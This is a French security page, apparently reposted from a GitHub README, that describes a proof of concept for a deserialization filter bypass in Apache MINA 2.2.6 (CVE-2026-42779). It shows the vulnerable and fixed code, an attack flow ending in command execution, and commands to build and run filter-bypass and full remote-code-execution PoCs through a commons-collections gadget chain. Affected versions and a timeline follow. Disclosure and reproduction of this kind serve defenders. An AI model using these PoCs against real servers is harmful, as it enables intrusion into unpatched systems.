CVE-2026-42779 — Preuve de concept démontrant un contournement du filtre de désérialisation dans Apache MINA menant à une exécution de code à distance, avec une analyse détaillée des causes racines, des PoC d'exploitation et des recommandations de remédiation. | Kitploit

// AbstractIoBuffer.java — VULNÉRABLE (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    Class<?> clazz = desc.forClass();

    if (clazz == null) {
        // BOGUE : aucune vérification acceptMatchers — filtre complètement contourné
        return Class.forName(name, false, classLoader);
    } else {
        // Le filtre n'est appliqué qu'ici
        for (ClassNameMatcher matcher : acceptMatchers) { ... }
    }
}

// AbstractIoBuffer.java — CORRIGÉ (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    String className = desc.getName();

    // Le filtre est appliqué EN PREMIER, quel que soit le résultat de forClass()
    if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
        throw new ClassNotFoundException("Class not in accept list " + className);
    }

    Class<?> clazz = desc.forClass();
    // ... la résolution sécurisée suit
}

Attaquant                                   Serveur MINA vulnérable
   |                                              |
   |  1. Conçoit une charge utile MINA avec des   |
   |     descripteurs de type 0 pour les classes  |
   |     de la chaîne de gadgets                  |
   |                                              |
   |  2. Envoie au point de terminaison utilisant |
   |     ObjectSerializationCodecFactory -------->|
   |                                              |
   |          3. readClassDescriptor() lit le type 0
   |             → délègue à super (Java standard)|
   |                                              |
   |          4. resolveClass() voit forClass()==null
   |             → Class.forName() SANS filtre    |
   |                                              |
   |          5. La chaîne de gadgets est entièrement
   |             désérialisée                     |
   |             → readObject() déclenche la chaîne
   |             → Runtime.exec() s'exécute       |
   |                                              |
   |                               RCE RÉUSSIE   |

PoC	Ce qu'il prouve
`FilterBypassPoC.java`	Contournement du filtre pour les primitives, les classes non sérialisables, les tableaux
`CraftedBypassPoC.java`	Les charges utiles de type 0 conçues par l'attaquant contournent le filtre pour TOUTE classe sérialisable
`RcePoC.java`	RCE complète via la chaîne de gadgets CC6 à travers le contournement du filtre

# Clonez ce dépôt
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779

# Compilez et exécutez tous les PoC
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779

# Exécutez des PoC individuels
docker run --rm cve-2026-42779 bypass     # Contournement du filtre uniquement
docker run --rm cve-2026-42779 crafted    # Contournement par charge utile conçue
docker run --rm cve-2026-42779 rce        # RCE complète

# Ouvrez un shell pour explorer
docker run --rm -it cve-2026-42779 shell

# Clonez et compilez la version vulnérable
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q

# Téléchargez commons-collections (pour le PoC RCE)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
  -o commons-collections-3.2.2.jar

# Compilez les PoC
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java

# Exécutez le PoC de contournement du filtre
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC

# Exécutez le PoC de charge utile conçue
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC

# Exécutez le PoC RCE complet
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
     RcePoC

Branche	Vulnérable	Corrigée
2.1.x	2.1.0 – 2.1.11	2.1.12
2.2.x	2.2.0 – 2.2.6	2.2.7

Date	Événement
2026-05-01	Avis publié par l'équipe Apache MINA PMC
2026-05-01	Versions corrigées 2.1.12 et 2.2.7 publiées
2026-05-02	Ce PoC développé et testé

CVE-2026-42779

Populaires

Versions concernées

Cause racine

Exploitation

Déroulement de l'attaque

Conditions préalables

Point clé

Preuve de concept

1. Contournement du filtre (MINA 2.2.6 — Vulnérable)

2. Charge utile conçue — Chargement arbitraire de classes

3. RCE complète — Exécution de commandes

4. Contournement du filtre (MINA 2.2.7 — Corrigé)

5. RCE bloquée (MINA 2.2.7 — Corrigé)

Démarrage rapide (Docker)

Reproduction (à partir des sources)

Remédiation

Chronologie

Références

Avertissement